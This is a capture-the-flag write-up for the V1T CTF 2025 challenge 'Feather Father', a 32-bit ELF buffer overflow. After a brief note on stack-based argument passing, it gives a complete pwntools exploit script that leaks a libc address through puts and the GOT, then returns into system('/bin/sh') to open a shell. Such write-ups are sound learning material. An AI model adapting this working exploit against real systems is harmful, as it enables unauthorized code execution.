2025-3
Challenge information
CTF: V1T CTF 2025
Challenge: Feather Father
Solves: 203
Description:
It happily follows a familiar tune ...Time-wasting to solve: 10 min
Writeup

obviously bof in 32bit ELF.
chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ld-linux.so.2, BuildID[sha1]=543ac180065b2ba2db22e465129623c7dd6f9f6c, for GNU/Linux 3.2.0, not stripped
Important point that in SYSV ABI, 32bit elf set arguments in stack.
e.g.,
rsp -> |+0x4| func
|+0x4| retaddr
|+0x4| arg1
|+0x4| arg2
|+0x4| arg3
so we don't need gadgets that set an arbitrary value to register like pop rdi; ret;.
from pwn import *
from icecream import ic
import sys
e = ELF("chall",checksec=False)
libc = ELF("libc.so.6",checksec=False)
ld = ELF("ld-linux.so.2",checksec=False)
nc = "nc 127.0.0.1 9999"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv()
ru = lambda b:io.recvuntil(b)
rl = lambda : io.recvline()
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
hlog= lambda i : print(f"[*]{hex(i)}")
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
payload = b""
def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***")
def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
pay(
b"A"*(0x138-0x8),
p32(0x0804c000+0x800),
p32(0x0804c000+0x800),
p32(e.plt["puts"]),
p32(e.sym["main"]),
p32(e.got["puts"]),
)
r()
sl(payload)
leak = pu32(rl().strip())
ic(hex(leak))
libc.address = leak - (0xf26af140 - 0xf2637000)
ic(hex(libc.address))
rst()
pay(
b"A"*(0x138-0x8),
p32(0x0804c000+0x800),
p32(0x0804c000+0x800),
p32(libc.sym["system"]),
b"AAAA",
p32(next(libc.search(b"/bin/sh"))),
)
sl(payload)
shell()
Last modified: 04 November 2025